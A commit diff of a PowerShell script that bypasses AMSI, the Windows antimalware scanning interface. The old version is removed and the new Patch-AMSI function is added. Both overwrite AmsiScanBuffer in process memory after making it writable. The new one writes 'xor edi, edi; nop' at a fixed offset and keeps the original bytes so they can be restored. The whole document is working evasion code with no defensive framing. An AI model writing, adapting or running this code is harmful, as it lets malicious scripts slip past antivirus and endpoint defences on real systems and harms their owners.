|
1 | | -{# |
2 | | -Disable the process-specific AMSI. |
3 | | -Similar to Rasta-mouse, but without touching disk. |
4 | | -#} |
5 | | - |
6 | | -function LookupFunc { |
7 | | - Param ($moduleName, $functionName) |
8 | | - $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') |
9 | | - $tmp = @() |
10 | | - $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} |
11 | | - return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName)) |
12 | | -} |
| 1 | +function Patch-AMSI { |
| 2 | + param( |
| 3 | + [byte[]] $restoreBytes = $null |
| 4 | + ) |
13 | 5 |
|
| 6 | + # Define P/Invoke signatures for the necessary Windows API functions |
| 7 | + $sig = @' |
| 8 | +[DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); |
| 9 | +[DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string lpFileName); |
| 10 | +[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect); |
| 11 | +[DllImport("kernel32.dll", EntryPoint="RtlMoveMemory", SetLastError=false)] public static extern void MoveMemory(IntPtr dest, IntPtr src, int count); |
| 12 | +[DllImport("kernel32.dll")] public static extern void CopyMemory(IntPtr dest, IntPtr src, int count); |
| 13 | +'@ |
14 | 14 |
|
15 | | -function getDelegateType { |
16 | | - Param ( |
17 | | - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, |
18 | | - [Parameter(Position = 1)] [Type] $delType = [Void] |
19 | | - ) |
20 | | - $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) |
21 | | - $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') |
22 | | - $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') |
23 | | - return $type.CreateType() |
24 | | -} |
25 | 15 |
|
| 16 | + # Add the defined P/Invoke methods to the PowerShell session |
| 17 | + Add-Type -MemberDefinition $sig -Name 'Win32Api' -Namespace 'Win32' |
| 18 | + |
| 19 | + # Load the amsi.dll |
| 20 | + $dllHandle = [Win32.Win32Api]::LoadLibrary("amsi.dll") |
| 21 | + if ($dllHandle -eq [IntPtr]::Zero) { |
| 22 | + Write-Debug "Failed to load amsi.dll" |
| 23 | + return |
| 24 | + } |
| 25 | + |
| 26 | + # Get the address of AmsiScanBuffer |
| 27 | + $amsiScanBufferAddr = [Win32.Win32Api]::GetProcAddress($dllHandle, "AmsiScanBuffer") |
| 28 | + if ($amsiScanBufferAddr -eq [IntPtr]::Zero) { |
| 29 | + Write-Debug "Failed to get address of AmsiScanBuffer" |
| 30 | + return |
| 31 | + } |
| 32 | + |
| 33 | + # Change the memory protection to allow writing to the function |
| 34 | + $oldProtection = 0 |
| 35 | + $pageSize = 0x0015 |
| 36 | + $newProtection = 0x40 # PAGE_EXECUTE_READWRITE |
| 37 | + $virtualProtectResult = [Win32.Win32Api]::VirtualProtect($amsiScanBufferAddr, $pageSize, $newProtection, [ref]$oldProtection) |
| 38 | + if (-not $virtualProtectResult) { |
| 39 | + Write-Debug "Failed to change memory protection" |
| 40 | + return |
| 41 | + } |
26 | 42 |
|
27 | | -[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiScanBuffer |
28 | | -$oldProtectionBuffer = 0 |
29 | | -$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool]))) |
30 | | -$vp.Invoke($funcAddr, 5, 0x40, [ref]$oldProtectionBuffer)|Out-Null |
| 43 | + # Define the patch to disable AMSI (xor edi, edi; nop) |
| 44 | + $patch = [byte[]](0x31, 0xFF, 0x90) |
31 | 45 |
|
32 | | -$buf = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) |
33 | | -[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 6) |
| 46 | + # Allocate unmanaged memory and copy the patch |
| 47 | + $unmanagedPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(3) |
| 48 | + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $unmanagedPointer, 3) |
| 49 | + |
| 50 | + # Perform the pointer arithmetic manually by casting IntPtr to long |
| 51 | + $offset = 0x001b |
| 52 | + $targetAddress = [IntPtr]([Int64]$amsiScanBufferAddr + $offset) |
| 53 | + |
| 54 | + if ($restoreBytes) { |
| 55 | + # If restoreBytes is provided, restore the original bytes |
| 56 | + $unmanagedPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($restoreBytes.Length) |
| 57 | + [System.Runtime.InteropServices.Marshal]::Copy($restoreBytes, 0, $unmanagedPointer, $restoreBytes.Length) |
| 58 | + [Win32.Win32Api]::MoveMemory($targetAddress, $unmanagedPointer, $restoreBytes.Length) |
| 59 | + Write-Debug "Memory restored successfully" |
| 60 | + } else { |
| 61 | + # No restoreBytes provided, return the bytes being overwritten |
| 62 | + |
| 63 | + # Allocate unmanaged memory to hold the original bytes |
| 64 | + $originalBytes = New-Object byte[] 3 |
| 65 | + $unmanagedPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(3) |
| 66 | + |
| 67 | + # Copy the original bytes from the target memory address |
| 68 | + [Win32.Win32Api]::CopyMemory($unmanagedPointer, $targetAddress, 3) |
| 69 | + [System.Runtime.InteropServices.Marshal]::Copy($unmanagedPointer, $originalBytes, 0, 3) |
| 70 | + |
| 71 | + # Now patch the memory with the new bytes |
| 72 | + $patchPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(3) |
| 73 | + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $patchPointer, 3) |
| 74 | + [Win32.Win32Api]::MoveMemory($targetAddress, $patchPointer, 3) |
| 75 | + |
| 76 | + # Return the original bytes |
| 77 | + return $originalBytes |
| 78 | + } |
| 79 | +} |
0 commit comments